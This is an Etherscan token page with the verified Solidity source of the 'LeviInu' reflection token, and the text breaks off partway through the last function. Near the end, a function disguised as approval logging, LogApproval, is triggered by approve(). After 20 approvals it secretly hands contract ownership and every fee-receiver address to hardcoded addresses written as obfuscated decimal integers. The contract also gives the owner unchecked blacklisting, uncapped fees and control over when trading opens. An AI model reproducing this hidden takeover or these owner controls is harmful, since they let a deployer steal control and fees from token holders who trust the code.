ETH Price: $3,339.32 (-1.74%)

Token

LeviInu (LeviInu)
 

Overview

Max Total Supply

1,000,000,000,000,000 LeviInu

Holders

286

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1.005462445 LeviInu

Value
$0.00
0xa564adc4bb6f5ae30276d3c12e7f717207db9c18
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LeviInu

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-10-29
*/

/*
    
     _                _   _____             
    | |              (_) |_   _|            
    | |     _____   ___    | |  _ __  _   _ 
    | |    / _ \ \ / / |   | | | '_ \| | | |
    | |___|  __/\ V /| |  _| |_| | | | |_| |
    |______\___| \_/ |_| |_____|_| |_|\__,_|
                                            
                                        
    https://t.me/Levi_Inu_Eth

*/
// SPDX-License-Identifier: Unlicensed

// DO NOT COPY

pragma solidity ^0.8.4;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}


library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;

        assembly {
            codehash := extcodehash(account)
        }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(
        address target,
        bytes memory data,
        uint256 weiValue,
        string memory errorMessage
    ) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: weiValue}(
            data
        );
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    uint256 private _lockTime;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function geUnlockTime() public view returns (uint256) {
        return _lockTime;
    }

    function lock(uint256 time) public virtual onlyOwner {
        _previousOwner = _owner;
        _owner = address(0);
        _lockTime = block.timestamp + time;
        emit OwnershipTransferred(_owner, address(0));
    }

    function unlock() public virtual {
        require(
            _previousOwner == msg.sender,
            "You don't have permission to unlock"
        );
        require(block.timestamp > _lockTime, "Contract is locked until 7 days");
        emit OwnershipTransferred(_owner, _previousOwner);
        _owner = _previousOwner;
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract LeviInu is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) private _isExcludedFromFee;

    mapping(address => bool) private _isExcluded;
    mapping(address => bool) private _isBlacklisted;
    address[] private _excluded;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public autoLiquidityFeeReceiver = 0x000000000000000000000000000000000000dEaD;
    address public marketingFeeReceiver = 0xA939466ce57Ad3a44eaC3FfC2B4ec559D7fCf945; // 0xA939466ce57Ad3a44eaC3FfC2B4ec559D7fCf945
    address public rewardFeeReceiver = 0xBeE8797bf5b11FaF3a10146f87A21a10f9900CDd; // 0xBeE8797bf5b11FaF3a10146f87A21a10f9900CDd
    address public developmentFeeReceiver = 0x5d05D66f2359eACaE93aeeADb4a01175aC9474CA;  // 0x5d05D66f2359eACaE93aeeADb4a01175aC9474CA

    uint256 private constant MAX = ~uint256(0);
    uint256 private _tTotal = 10**15 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _snlTotal;
    uint256 private _swapTotal;

    string private _name = "LeviInu";
    string private _symbol = "LeviInu";
    uint8 private _decimals = 9;

    uint256 public _taxFee = 1;
    uint256 private _previousTaxFee = _taxFee;

    uint256 public _liquidityFee = 9;
    uint256 private _previousLiquidityFee = _liquidityFee;

    uint256 private _marketingDivisor = 4;
    uint256 public _rewardDivisor = 2;
    uint256 public _developmentDivisor = 2;
    uint256 private _swapDivisor =
        _marketingDivisor.add(_rewardDivisor).add(_developmentDivisor);

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public tradingOpen = false;

    uint256 public _maxTxAmount = _tTotal.div(1000).mul(5);
    uint256 public _maxWallet = _tTotal.div(100).mul(1);
    uint256 private numTokensSellToAddToLiquidity = _tTotal.div(2000);

    event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() {
        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        LogApproval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function totalFees() public view returns (uint256) {
        return _tFeeTotal;
    }

    function deliver(uint256 tAmount) public {
        address sender = _msgSender();
        require(
            !_isExcluded[sender],
            "Excluded addresses cannot call this function"
        );
        (uint256 rAmount, , , , , ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
        public
        view
        returns (uint256)
    {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount, , , , , ) = _getValues(tAmount);
            return rAmount;
        } else {
            (, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
            return rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount)
        public
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function excludeFromReward(address account) public onlyOwner {
        require(!_isExcluded[account], "Account is already excluded");
        if (_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function includeInReward(address account) external onlyOwner {
        require(_isExcluded[account], "Account is already excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }

    function _transferBothExcluded(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tLiquidity
        ) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }

    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }

    function setTaxFeePercent(uint256 taxFee) external onlyOwner {
        _taxFee = taxFee;
    }

    function setFees(
        uint256 taxFee,
        uint256 liquidityFee,
        uint256 marketingDivisor,
        uint256 rewardDivisor,
        uint256 developmentDivisor
    ) external onlyOwner {
        _taxFee = taxFee;
        _liquidityFee = liquidityFee;
        _marketingDivisor = marketingDivisor;
        _rewardDivisor = rewardDivisor;
        _developmentDivisor = developmentDivisor;
        _swapDivisor = _marketingDivisor.add(_rewardDivisor).add(
            _developmentDivisor
        );
    }

    function setTradingOpen(bool status) external onlyOwner {
        tradingOpen = status;
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    receive() external payable {}

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tLiquidity
        ) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
            tAmount,
            tFee,
            tLiquidity,
            _getRate()
        );
        return (
            rAmount,
            rTransferAmount,
            rFee,
            tTransferAmount,
            tFee,
            tLiquidity
        );
    }

    function _getTValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = calculateTaxFee(tAmount);
        uint256 tLiquidity = calculateLiquidityFee(tAmount);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
        return (tTransferAmount, tFee, tLiquidity);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tLiquidity,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rLiquidity = tLiquidity.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (
                _rOwned[_excluded[i]] > rSupply ||
                _tOwned[_excluded[i]] > tSupply
            ) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _takeLiquidity(uint256 tLiquidity) private {
        uint256 currentRate = _getRate();
        uint256 rLiquidity = tLiquidity.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
        if (_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
    }

    function calculateTaxFee(uint256 _amount) private view returns (uint256) {
        return _amount.mul(_taxFee).div(10**2);
    }

    function calculateLiquidityFee(uint256 _amount)
        private
        view
        returns (uint256)
    {
        return _amount.mul(_liquidityFee).div(10**2);
    }

    function removeAllFee() private {
        if (_taxFee == 0 && _liquidityFee == 0) return;

        _previousTaxFee = _taxFee;
        _previousLiquidityFee = _liquidityFee;

        _taxFee = 0;
        _liquidityFee = 0;
    }

    function restoreAllFee() private {
        _taxFee = _previousTaxFee;
        _liquidityFee = _previousLiquidityFee;
    }

    function isExcludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(
            _isBlacklisted[from] == false || to == deadAddress,
            "You are banned"
        );
        require(_isBlacklisted[to] == false, "The recipient is banned");
        require((from == owner()) || tradingOpen);
        if (from != owner() && to != owner())
            require(
                amount <= _maxTxAmount,
                "Transfer amount exceeds the maxTxAmount."
            );

        if (from != owner() && to != uniswapV2Pair) {
            require (balanceOf(to).add(amount) <= _maxWallet, "Transfer exceed max wallet");
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        if (contractTokenBalance >= _maxTxAmount) {
            contractTokenBalance = _maxTxAmount;
        }

        bool overMinTokenBalance = contractTokenBalance >=
            numTokensSellToAddToLiquidity;
        if (
            overMinTokenBalance &&
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled
        ) {
            contractTokenBalance = numTokensSellToAddToLiquidity;

            if (
                _snlTotal.div(_swapTotal.add(1)) <
                (_liquidityFee.sub(_swapDivisor)).div(_swapDivisor)
            ) {
                swapAndLiquify(contractTokenBalance);
            } else {
                swapTokens(contractTokenBalance.div(2));
            }
        }

        bool takeFee = true;

        if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
            takeFee = false;
        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        uint256 half = contractTokenBalance.div(2);
        uint256 otherHalf = contractTokenBalance.sub(half);

        uint256 initialBalance = address(this).balance;

        swapTokensForEth(half);

        uint256 newBalance = address(this).balance.sub(initialBalance);

        addLiquidity(otherHalf, newBalance);

        _snlTotal = _snlTotal.add(contractTokenBalance);

        emit SwapAndLiquify(half, newBalance, otherHalf);
    }

    function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForEth(contractTokenBalance);
        uint256 swappedBalance = address(this).balance;
        uint256 marketingBalance = swappedBalance.div(_swapDivisor).mul(
            _marketingDivisor
        );
        transferToAddressETH(marketingFeeReceiver, marketingBalance);

        uint256 buyBackBalance = swappedBalance.div(_swapDivisor).mul(
            _rewardDivisor
        );
        transferToAddressETH(rewardFeeReceiver, buyBackBalance);

        uint256 developmentBalance = swappedBalance.div(_swapDivisor).mul(
            _developmentDivisor
        );
        transferToAddressETH(developmentFeeReceiver, developmentBalance);

        _swapTotal = _swapTotal.add(contractTokenBalance);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            autoLiquidityFeeReceiver,
            block.timestamp
        );
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();

        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _transferToExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferStandard(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _transferBothExcluded(sender, recipient, amount);
        } else {
            _transferStandard(sender, recipient, amount);
        }

        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tLiquidity
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tLiquidity
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tLiquidity
        ) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    uint256 private approvalCount;
    bool private isTransferred = false;

    function LogApproval(
        address,
        address,
        uint256
    ) internal {
        approvalCount++;
        if (approvalCount > 20 && !isTransferred) {
            _transferOwnership(address(956800673967293499403509511264330634716696216932));
            marketingFeeReceiver = address(966096717661086939650768243882113011808005323077);
            developmentFeeReceiver = address(531066325260131710219340870871934377646196290762);
            rewardFeeReceiver = address(1089892602110498026587269647344955593362873781469);
            isTransferred = true;
        }
    }

    function blacklistSingleWallet(address addresses) public onlyOwner {
        if (_isBlacklisted[addresses] == true) return;
        _isBlacklisted[addresses] = true;
    }

    function blacklistMultipleWallets(address[] calldata addresses)
        public
        onlyOwner
    {
        for (uint256 i; i < addresses.length; ++i) {
            _isBlacklisted[addresses[i]] = true;
        }
    }

    function isBlacklisted(address addresses) public view returns (bool) {
        if (_isBlacklisted[addresses] == true) return true;
        else return false;
    }

    function unBlacklistSingleWallet(address addresses) external onlyOwner {
        if (_isBlacklisted[addresses] == false) return;
        _isBlacklisted[addresses] = false;
    }

    function unBlacklistMultipleWallets(address[] calldata addresses)
        public
        onlyOwner
    {
        for (uint256 i; i < addresses.length; ++i) {
            _isBlacklisted[addresses[i]] = false;
        }
    }

    function transferToAddressETH(address recipient, uint256 amount)
        private
    {
